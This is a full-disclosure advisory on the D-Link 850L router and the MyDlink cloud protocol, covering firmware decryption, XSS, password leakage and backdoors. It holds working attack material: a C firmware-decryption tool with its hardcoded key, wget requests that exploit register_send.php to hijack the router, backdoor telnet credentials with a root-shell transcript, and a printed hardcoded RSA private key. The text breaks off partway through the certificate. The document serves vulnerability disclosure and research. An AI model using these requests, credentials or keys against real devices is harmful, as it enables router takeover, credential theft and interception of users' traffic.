D-Link 850L XSS Backdoor and Code Execution

2017.09.10
Credit: Pierre Kim
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

Hello, Please find a text-only version below sent to security mailing lists. The complete version on analysing the security of "Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol" is posted here: https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html === text-version of the advisory without technical explanations === -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol Advisory URL: https://pierrekim.github.io/advisories/2017-dlink-0x00-dlink-850l-cloud.txt Blog URL: https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html Date published: 2017-09-08 Vendors contacted: None Release mode: Full-Disclosure CVE: - ## Product Description Dlink is a multinational networking equipment manufacturing corporation. The Dlink 850L is a Wireless AC1200 Dual Band Gigabit "Cloud" Router. Mydlink Cloud Services allow you to access, view and control the devices on your home network from anywhere. ## Vulnerabilities Summary The Dlink 850L is a router overall badly designed with a lot of vulnerabilities. Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused. My research in analyzing the security of Dlink 850L routers starts from a recent security contest organized by a security company. The Dlink 850L has 2 versions of these routers with very slight hardware modifications. The contest targeted the first version (revisionA) but I (unfortunately) received the wrong version, revisionB (thank you Amazon!), which was not eligible for the contest. In this advisory, I would like to introduce the 0day vulnerabilities from both versions of Dlink 850L that were not submitted to the contest. Note that I submitted a valid vulnerability to SSD which was patched [https://blogs.securiteam.com/index.php/archives/3364]. Following a very badly coordinated previous disclosure with Dlink last February (see https://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html), full-disclosure is applied this time. The summary of the vulnerabilities is: 1. Firmware "protection" 2. WAN && LAN - revA - XSS 3. WAN && LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol 4. WAN - revA and revB - Weak Cloud protocol 5. LAN - revB - Backdoor access 6. WAN && LAN - revA and revB - Stunnel private keys 7. WAN && LAN - revA - Nonce bruteforcing for DNS configuration 8. Local - revA and revB - Weak files permission and credentials stored in cleartext 9. WAN - revB - Pre-Auth RCEs as root (L2) 10. LAN - revA and revB - DoS against some daemons revA targets the revision A of the router with the latest firmware available (`DIR850L_REVA_FW114WWb07_h2ab_beta1.bin`). revB targets the revision B of the router with the latest firmware images available (`DIR850LB1_FW207WWb05.bin` and `DIR850L_REVB_FW207WWb05_h1ke_beta1.bin` from http://support.dlink.com/ProductInfo.aspx?m=DIR-850L, `DIR850LB1 FW208WWb02.bin` [from http://support.dlink.com.au/Download/download.aspx?product=DIR-850L]). ## Details - Firmware "protection" The latest firmware for Dlink 850L revA (`DIR850L_REVA_FW114WWb07_h2ab_beta1.bin`) is not protected and a new firmware image can be trivially forged by an attacker. The latest firmware images for Dlink 850L revB (`DIR850LB1_FW207WWb05.bin`, `DIR850L_REVB_FW207WWb05_h1ke_beta1.bin` and `DIR850LB1 FW208WWb02.bin`) are password-protected with a hardcoded password. Here is a program to decrypt the firmware image: /* * Simple tool to decrypt D-LINK DIR-850L REVB firmwares * * $ gcc -o revbdec revbdec.c * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted */ #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #define USAGE "Usage: decimg <filename> <key>\n" int main(int argc, char **argv) { int i, fi; int fo = STDOUT_FILENO, fe = STDERR_FILENO; if (argc != 3) { write(fe, USAGE, strlen(USAGE)); return (EXIT_FAILURE); } if ((fi = open(argv[1], O_RDONLY)) == -1) { perror("open"); write(fe, USAGE, strlen(USAGE)); return (EXIT_FAILURE); } const char *key = argv[2]; int kl = strlen(key); i = 0; while (1) { char buffer[4096]; int j, len; len = read(fi, buffer, 4096); if (len <= 0) break; for (j = 0; j < len; j++) { buffer[j] ^= (i + j) % 0xFB + 1; buffer[j] ^= key[(i + j) % kl]; } write(fo, buffer, len); i += len; } return (EXIT_SUCCESS); } You can use this program to decrypt firmware images: user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1" 593 0x251 LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes 10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29 The protection of the firmware images is non-existent. ## Details - WAN && LAN - revA - XSS Simply by analyzing PHP files inside `/htdocs/web`, we can discover several trivial XSS. An attacker can use the XSS to target an authenticated user in order to steal the authentication cookies. /htdocs/web/wpsacts.php: user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php <?xml version="1.0" encoding="utf-8"?> <wpsreport> <action><a></action> <result></result> <reason></reason> </wpsreport> user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php [..] <wpsreport> <action><?echo $_POST["action"];?></action> [...] XSS inside /htdocs/web/shareport.php: [...] <action><?echo $_POST["action"];?></action> [...] XSS inside /htdocs/web/sitesurvey.php: [...] <action><?echo $_POST["action"];?></action> [...] XSS inside /htdocs/web/wandetect.php: [...] <action><?echo $_POST["action"];?></action> [...] XSS inside /htdocs/web/wpsacts.php: [...] <action><?echo $_POST["action"];?></action> [...] ## Details - WAN && LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol DISCLAIMER: Beware, no request has been sent directly to any servers operated by Dlink or other companies. All internet network traffic shown below is legitimate and produced by Dlink itself, or by products of Dlink (Dlink Cloud, Dlink browser extensions, Dlink 850L). All the findings exposed below were discovered without exceeding Dlink terms of use. This simply demonstrates how much broken this service is at the time of writing (run away!). The webpage http://ip_of_router/register_send.php doesn't check the authentication of the user, thus an attacker can abuse this webpage to gain control of the device. This webpage is used to register the device to the myDlink cloud infrastructure. Attack scenario: o The attacker will use the unauthenticated /register_send.php webpage to: 1. create a MyDlink Cloud account, 2. signin the device to this account, 3. add the device to this account (the device will pass admin password to the Cloud platform! Meaning the passwords are stored in cleartext). o The attacker will then visit Dlink mycloud webpage) using a classic browser (i.e.: Firefox 50) and install the official Dlink NPAPI extension (this will not work with Firefox > 50 or any recent version of Chrome since this plugin requires unsandboxed NPAPI support). This webpage will allow the attacker to remotely control the device (reboot, general management...). o Then, using `Firefox dev tools`, the attacker can passively analyze the default HTTP requests/responses from the Dlink APIs on www.mydlink.com: The dlink cloud interface will leak by default the password of the device (!) inside the answer of a `PUT` request (and inside `GET` requests too). Just by watching the HTTP requests from the NPAPI plugin, the APIs will provide passwords of the device in cleartext. o Finally, the NPAPI plugins will automatically establish a tunnel between the router and the Firefox browser: the attacker will be able to visit `http://127.0.0.1:dynamicaly_generated_remote_port/` to reach the remote router. The traffic will go directly to Amazon servers then to the remote Dlink router: Firefox NPAPI client (http://127.0.0.1:remote_port/) -> Amazon -> Dlink 850L HTTP Interface. o The attacker will use the previous password provided by the legit HTTPS answers from the Dlink APIs and will be able to login inside the router. At that point complete control over the router is achieved. o This is made possible by the `signalc` program (inside /mydlink/) that creates a TCP tunnel to Amazon servers. Finally, I will demonstrate some part of the traffic inside this tunnel is in cleartext and the other part (encrypted traffic) can be MITM'd thanks to self-signed certificates and the complete lack of certificate verification. Let's resume the attack: The PHP script hosted at http://ip_of_router/register_send.php will serve as a proxy between the attacker and the remote Dlink APIs. This page will also retrieve the password (it is stored in cleartext - see part 8. Weak files permission and credentials stored in cleartext) and send it to remote Dlink APIs. 151 $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password of the device 152 $action = $_POST["act"]; The password will be sent during the association of the device (3rd request : "adddev") to the Mydlink Cloud service (see the `&device_password=$devpasswd`): 178 //sign up 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; 182 183 $post_url_signup = "/signin/"; 184 185 $action_signup = "signup"; 186 187 //sign in 188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; 190 191 $post_url_signin = "/account/?signin"; 192 193 $action_signin = "signin"; 194 195 //add dev (bind device) 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; 198 199 $post_url_adddev = "/account/?add"; 200 201 $action_adddev = "adddev"; 202 203 //main start 204 if($action == $action_signup) <---- first request 205 { 206 $post_str = $post_str_signup; 207 $post_url = $post_url_signup; 208 $withcookie = ""; //signup dont need cookie info 209 } 210 else if($action == $action_signin) <---- second request 211 { 212 $post_str = $post_str_signin; 213 $post_url = $post_url_signin; 214 $withcookie = "\r\nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;"; 215 } 216 else if($action == $action_adddev) <---- 3rd request 217 { 218 $post_str = $post_str_adddev; 219 $post_url = $post_url_adddev; 220 } To exploit this vuln, let's create 3 HTTP requests to the dlink router: The first one ("signup") will create an user on the MyDlink service: user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> Internally, this request was crafted and sent to MyDlink Cloud APIs: 179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 180 "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]. 181 "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." "; The second one ("signin") will "signin" the newly created user - the router will be associated with this account - but not activated: user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> Internally, this request was crafted and sent to MyDlink Cloud APIs: 188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 189 "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." "; The last one will associate the device to the dlink service and will send the password of the device to the remote APIs of Dlink: user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php <?xml version="1.0"?> <register_send> <result>success</result> <url>http://mp-us-portal.auto.mydlink.com</url> </register_send> Internally, this request was crafted and sent to MyDlink Cloud APIs: 196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"]. 197 "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." "; Now please confirm the email using the email sent from Dlink: [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] Then, visit http://mydlink.com/ and login using the email and the password. You will see the device listed in the web interface (You need to install the plugin - you can use "IE8 - Win7.ova" from Microsoft, you need Firefox 50 to use the plugin). Please see the attached screenshot to see the available management options: [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] By analyzing the requests, we can get more information about the targeted router (note the requests are made by default when browsing the www.mydlink.com website!): [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] It appears the `PUT` (`PUT IDENTIFIER_OF_THE_ROUTER`) request provides a response with the cleartext password of the device! [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] Note that there is a `GET` request on the end of the image, we will study it too. https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&access_token=ACCESS_TOKEN The `POST` data are: {"id":"EDITED_DEVICE_ID","order":0,"mac":"EDITED_MAC_ADDRESS","model":"DIR-850L","ddnsServer":"eu.mydlink.com","activatedDate":"EDITED_ACTIVATION_DATE","hwVer":"B1","selected":true,"defaultIconUrl":"https://d3n8c69ydsbj5n.cloudfront.net/Product/Pictures/DIR-850L/DIR-850L_default.gif","type":"router","series":"","name":"","authKey":"","status":"","adminPassword":"","plainPassword":"","fwUpgrade":false,"fwVer":"","provVer":"","binded":true,"registered":null,"supportHttps":null,"signalAddr":"","features":[],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null},"added2UniPlugin":false,"connections":[{"id":"http","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"httpWithCredential","scheme":"http","tunnel":null,"ip":null,"port":null},{"id":"https","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"httpsWithCredential","scheme":"https","tunnel":null,"ip":null,"port":null},{"id":"liveview","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"playback","scheme":"","tunnel":null,"ip":null,"port":null},{"id":"config","scheme":"","tunnel":null,"ip":null,"port":null}]} The answer is, in cleartext (and contains the password of the device): {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"password","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}} A `GET` request is done too (the last one on the previous image), which allows to retrieve the password and the previous one (was changed in the router to confirm this fact): [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] The request is: GET https://eu.mydlink.com/device/devices/DEVICE_ID?_=RANDOM_NUMBER&access_token=ACCESS_TOKEN HTTP/1.1 And the answer is the same, with the previous password (plainPassword) and the new password (adminPassword): {"name":"DIR-850L","status":"online","authKey":"EDITED","adminPassword":"password","plainPassword":"PASSWORD","fwUpgrade":false,"fwVer":"2.07","provVer":"2.0.18-b04","binded":true,"registered":true,"supportHttps":true,"signalAddr":"mp-eu-signal.auto.mydlink.com","features":[1,2,3,4,28,29],"serviceCnvr":{"enabled":false,"plan":"","space":0,"expireTime":0,"contentValidThru":0},"serviceLnvr":{"targetStorageId":null,"targetStorageVolumeId":null}} Finally, a request is made from the NPAPI plug-in asking for a tunnel between the browser and the remote router: [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] The request to `/tssm/tssml.php` will ask the remote Cloud platform to forward the traffic to the device number 3XXXXXXX. This will provide the attacker information about the new-established TCP tunnel from the browser NPAPI extension to the DLINK 850L router, via the Cloud platform: https://eu.mydlink.com/tssm/tssml.php?id=EDITED&no=EDITED_DEVICE_ID&type=1&state=3&status=1&ctype=4&browser=Mozilla/5.0+(Windows+NT+6.1;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"127.0.0.1","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"127.0.0.1","port":50454}]&_=EDITED_RANDOM_VALUE It appears the plugin listens on `127.0.0.1:50453/tcp` (HTTP) and `127.0.0.1:50454/tcp` (HTTP over SSL) as shown below: [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] Ok, let's browse `http://127.0.0.1:50453/`. The traffic is sent to the remote router over the Cloud protocol. [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] By using the password leak found before (in the `PUT` and `GET` requests), the attacker can remotely pwn the router and update the firmware with a custom (backdoored) one: [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] MISSION COMPLETE. These vulnerabilities may affect some Dlink NAS/routers/cameras. On a side note, it is interesting to find that DLink is storing all the passwords of devices using the mydlink service in cleartext. ## Details - WAN - revA and revB - Weak Cloud protocol The MyDlink Cloud protocol is weak. No encryption is provided by default by this technology, it is only a basic TCP relay system. All the traffic is sent over TCP to remote Amazon server without proper encryption: [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] There are 2 TCP relays: - - one with the HTTP server of the dlink router as an endpoint - - the other one with the HTTPS server of the dlink router as an endpoint. So, it appears, the router is reachable over this TCP tunnel using either HTTP and HTTPS. By default, you can see HTTP request AND HTTPS request from the browser (over the tunnel) to the router. About the HTTPS requests, the SSL certificate provided by the router is self-signed. Sus, an invalid certificate can be forged and used in order to successful MITM the device and intercept information. More, by default, a TCP relay for HTTP is made by the NPAPI plugin to the router as shown above. Futhermore, the `/mydlink/signalc` program running inside the router uses the MAC address of the device to get an unique identifier, which will always be the same, even if the dlink device is reset or linked with a new dlink cloud account. This allows Dlink to 'follow' the ownership of the device. Hopefully, an user can change the MAC addresses of the device using the `rgbin` binary (`/usr/sbin/devdata` is a symlink to `/usr/sbin/rgbin` and the used argv[0] must be `devdata` to work): # /usr/sbin/devdata dump # will dump all the configuration # /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface This program will only rewrite information over `/dev/mtdblock/4`. Finally, the mydlink interface allows the user to enter credentials for gmail/hotmail accounts, the credentials are then transfered to the routers using the tunnel established with the cloud protocol. It doesn't seem to be a good idea, as the traffic between the router and the Cloud platform is not encrypted or encrypted using a self-signed certificate without verification and the passwords are sent over this tunnel using the Internet. These vulnerabilities may affect some Dlink NAS/routers/cameras (every device that supports the MyDlink cloud protocol). Some wireshark (cleartext traffic and with self-signed certificate): [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] [please use the HTML version at https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html to see the image] ## Details - LAN - revB - Backdoor access On revB, if you reset the device, the `/etc/init0.d/S80mfcd.sh` init script will start the `mfcd` binary with these arguments: mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 & `mfcd` is in fact a telnetd server. the `-u` flag defines the authorized user with the associated password (`$image_sign` variable). `br0` is a bridge for these interfaces: `eth0`, `peth0`, `wlan0` et `wlan1`. This backdoor access can be only used from the LAN side. user@kali:~/petage-dlink$ cat fs/etc/init0.d/S80mfcd.sh #!/bin/sh echo [$0]: $1 ... > /dev/console orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` entn=`devdata get -e ALWAYS_TN` if [ "$1" = "start" ] && [ "$entn" = "1" ]; then mfcd -i br0 -t 99999999999999999999999999999 & exit fi if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then if [ -f "/usr/sbin/login" ]; then image_sign=`cat /etc/config/image_sign` mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 & else mfcd & fi else killall mfcd fi By using the login `Alphanetworks` and the password `wrgac25_dlink.2013gui_dir850l`, the attacker can get a root shell on the device: user@kali:~/petage-dlink$ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. Login: Alphanetworks Password: wrgac25_dlink.2013gui_dir850l BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # echo what what # ## Details - WAN && LAN - revA and revB - Stunnel private keys Keys are hardcoded inside the firmware. The administration can be used using HTTPS. This allows an attacker to do SSL MITM: # ls -la /etc/stunnel.key -rwxr-xr-x 1 root root 1679 Jan 20 2017 /etc/stunnel.key # cat /etc/stunnel.key -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAo/0bZcpc3Npc89YiNcP+kPxhLCGLmYXR4rHLt2I1BbnkXWHk MY1Umfq9FAzBYSvPYEGER4gYq467yvp5wO97CUoTSJHbJDPnp9REj6wLcMkG7R9O g8/WuQ3hsoexPu4YkjJXPhtQ6YkV7seEDgP3C2TNqCnHdXzqSs7+vT17chwu8wau j/VMVZ2FRHU63JQ9DG6PqcudHTW+T/KVnmWXQnspgr8ZMhXobETtdqtRPtxbA8mE ZeF8+cIoA9VcqP09/VMBbRm+o5+Q4hjtvSrv+W2bEd+BDU+V45ZX8ZfPoEWYjQqI kv7aMECTIX2ebgKsjCK3PfYUX5PYbVWUV+176wIDAQABAoIBAQCQR/gcBgDQO7t+ uc9dmLTYYYUpa9ZEW+3/U0kWbuyRvi1DUAaS5nMiCu7ivhpCYWZSnTJCMWbrQmjN vLT04H9S+/6dYd76KkTOb79m3Qsvz18tr9bHuEyGgsUp66Mx6BBsSKhjt2roHjnS 3W29WxW3y5f6NdAM+bu12Ate+sIq8WHsdU0hZD+gACcCbqrt4P2t3Yj3qA9OzzWb b9IMSE9HGWoTxEp/TqbKDl37Zo0PhRlT3/BgAMIrwASb1baQpoBSO2ZIcwvof31h IfrbUWgTr7O2Im7OiiL5MzzAYBFRzxJsj15mSm3/v3cZwK3isWHpNwgN4MWWInA1 t39bUFl5AoGBANi5fPuVbi04ccIBh5dmVipy5IkPNhY0OrQp/Ft8VSpkQDXdWYdo MKF9BEguIVAIFPQU6ndvoK99lMiWCDkxs2nuBRn5p/eyEwnl2GqrYfhPoTPWKszF rzzJSBKoStoOeoRxQx/QFN35/LIxc1oLv/mFmZg4BqkSmLn6HrFq2suVAoGBAMG1 CqmDs2vU43PeC6G+51XahvRI3JOL0beUW8r882VPUPsgUXp9nH3UL+l9/cBQQgUC n12osLOAXhWDJWvJquK9HxkZ7KiirNX5eJuyBeaxtOSfBJEKqz/yGBRRVBdBHxT2 a1+gO0MlG6Dtza8azl719lr8m6y2O9pyIeUewUl/AoGAfNonCVyls0FwL57n+S2I eD3mMJtlwlbmdsI1UpMHETvdzeot2JcKZQ37eIWyxUNSpuahyJqzTEYhf4kHRcO/ I0hvAe7UeBrLYwlZquH+t6lQKee4km1ULcWbUrxHGuX6aPBDBkG+s75/eDyKwpZA S0RPHuUv2RkQiRtxsS3ozB0CgYEAttDCi1G82BxHvmbl23Vsp15i19KcOrRO7U+b gmxQ2mCNMTVDMLO0Kh1ESr2Z6xLT/B6Jgb9fZUnVgcAQZTYjjXKoEuygqlc9f4S/ C1Jst1koPEzH5ouHLAa0KxjGoFvZldMra0iyJaCz/qHw6T4HXyALrbuSwOIMgxIM Y00vZskCgYAuUwhDiJWzEt5ltnmYOpCMlY9nx5qJnfcSOld5OHZ0kUsRppKnHvHb MMVyCTrp1jiH/o9UiXrM5i79fJBk7NT7zqKdI0qmKTQzNZhmrjPLCM/xEwAXtQMQ 1ldI69bQEdRwQ1HHQtzVYgKA9XCmvrUGXRq6E5sp2ky+X1QabC7bIg== -----END RSA PRIVATE KEY----- # cat /etc/stunnel_cert.pem Certificate: Data: Version: 3 (0x2) Serial Number: 87:6f:88:76:87:df:e7:78 Signature Algorithm: sha1WithRSAEncryption Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost Validity Not Before: Feb 22 06:04:36 2012 GMT Not After : Feb 17 06:04:36 2032 GMT Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (2048 bit) Modulus: 00:a3:fd:1b:65:ca:5c:dc:da:5c:f3:d6:22:35:c3: fe:90:fc:61:2c:21:8b:99:85:d1:e2:b1:cb:b7:62: 35:05:b9:e4:5d:61:e4:31:8d:54:99:fa:bd:14:0c: c1:61:2b:cf:60:41:84:47:88:18:ab:8e:bb:ca:fa: 79:c0:ef:7b:09:4a:13:48:91:db:24:33:e7:a7:d4: 44:8f:ac:0b:70:c9:06:ed:1f:4e:83:cf:d6:b9:0d: e1:b2:87:b1:3e:ee:18:92:32:57:3e:1b:50:e9:89: 15:ee:c7:84:0e:03:f7:0b:64:cd:a8:29:c7:75:7c: ea:4a:ce:fe:bd:3d:7b:72:1c:2e:f3:06:ae:8f:f5: 4c:55:9d:85:44:75:3a:dc:94:3d:0c:6e:8f:a9:cb: 9d:1d:35:be:4f:f2:95:9e:65:97:42:7b:29:82:bf: 19:32:15:e8:6c:44:ed:76:ab:51:3e:dc:5b:03:c9: 84:65:e1:7c:f9:c2:28:03:d5:5c:a8:fd:3d:fd:53: 01:6d:19:be:a3:9f:90:e2:18:ed:bd:2a:ef:f9:6d: 9b:11:df:81:0d:4f:95:e3:96:57:f1:97:cf:a0:45: 98:8d:0a:88:92:fe:da:30:40:93:21:7d:9e:6e:02: ac:8c:22:b7:3d:f6:14:5f:93:d8:6d:55:94:57:ed: 7b:eb Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE Netscape Comment: OpenSSL Generated Certificate X509v3 Subject Key Identifier: B5:BF:D1:A5:D6:6F:20:B0:89:1F:A6:C1:58:05:31:B2:B3:D0:C1:01 X509v3 Authority Key Identifier: keyid:5D:F8:E9:B5:F1:57:A4:90:94:BB:9F:DB:F7:91:95:E7:1C:A2:E7:D2 Signature Algorithm: sha1WithRSAEncryption 3d:09:22:d0:a6:7d:9c:cd:bd:5b:ad:62:c2:6a:29:12:d1:61: 88:ca:1e:68:1d:04:dd:40:fb:a9:d3:9f:22:49:dc:fa:fb:3c: 21:dd:45:a5:53:1a:9b:80:ee:50:16:a6:36:3a:3c:f0:39:27: e4:8d:70:20:03:73:7f:26:65:ac:ab:05:b1:84:ee:7c:16:43: ca:2f:b5:6b:44:fc:75:a1:c7:86:04:18:b4:df:b2:76:f3:88: fb:dc:ec:99:3d:fe:d1:7c:ea:fa:56:eb:0b:d5:69:84:48:3d: 12:db:d1:ef:f9:89:b0:62:70:ec:be:dd:e6:ef:dd:88:cf:f4: e5:ff:1d:88:d5:e0:23:f0:bb:a3:df:8e:8a:05:ea:f3:dc:14: 49:2d:46:4a:27:40:a6:fc:70:4a:f5:94:3f:94:64:d1:93:7b: 03:12:75:67:30:ee:8c:07:e1:73:77:00:23:d6:68:20:07:7f: 8f:4e:1d:e8:76:87:0d:4c:26:f6:56:84:e2:56:98:a0:6c:ad: 71:21:23:a4:a6:3b:b9:8e:27:13:c2:ae:70:0f:6a:c6:be:b8: 88:9a:0a:d7:00:39:3a:90:7e:5f:4d:22:88:4e:a6:8a:2f:42: b4:dc:18:a4:eb:fa:f1:04:0e:a7:e2:ff:5d:ac:cd:61:28:01: 7e:d3:01:13 -----BEGIN CERTIFICATE----- MIIEBDCCAuygAwIBAgIJAIdviHaH3+d4MA0GCSqGSIb3DQEBBQUAMHoxCzAJBgNV BAYTAlRXMQ8wDQYDVQQIDAZUYWl3YW4xDTALBgNVBAoMBE5vbmUxDTALBgNVBAsM BE5vbmUxGDAWBgNVBAMMD0dlbmVyYWwgUm9vdCBDQTEiMCAGCSqGSIb3DQEJARYT d2VibWFzdGVyQGxvY2FsaG9zdDAeFw0xMjAyMjIwNjA0MzZaFw0zMjAyMTcwNjA0 MzZaMIGLMQswCQYDVQQGEwJUVzEPMA0GA1UECAwGVGFpd2FuMRAwDgYDVQQHDAdI c2luQ2h1MQ0wCwYDVQQKDAROb25lMQ0wCwYDVQQLDAROb25lMRcwFQYDVQQDDA5H ZW5lcmFsIFJvdXRlcjEiMCAGCSqGSIb3DQEJARYTd2VibWFzdGVyQGxvY2FsaG9z dDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKP9G2XKXNzaXPPWIjXD /pD8YSwhi5mF0eKxy7diNQW55F1h5DGNVJn6vRQMwWErz2BBhEeIGKuOu8r6ecDv ewlKE0iR2yQz56fURI+sC3DJBu0fToPP1rkN4bKHsT7uGJIyVz4bUOmJFe7HhA4D 9wtkzagpx3V86krO/r09e3IcLvMGro/1TFWdhUR1OtyUPQxuj6nLnR01vk/ylZ5l 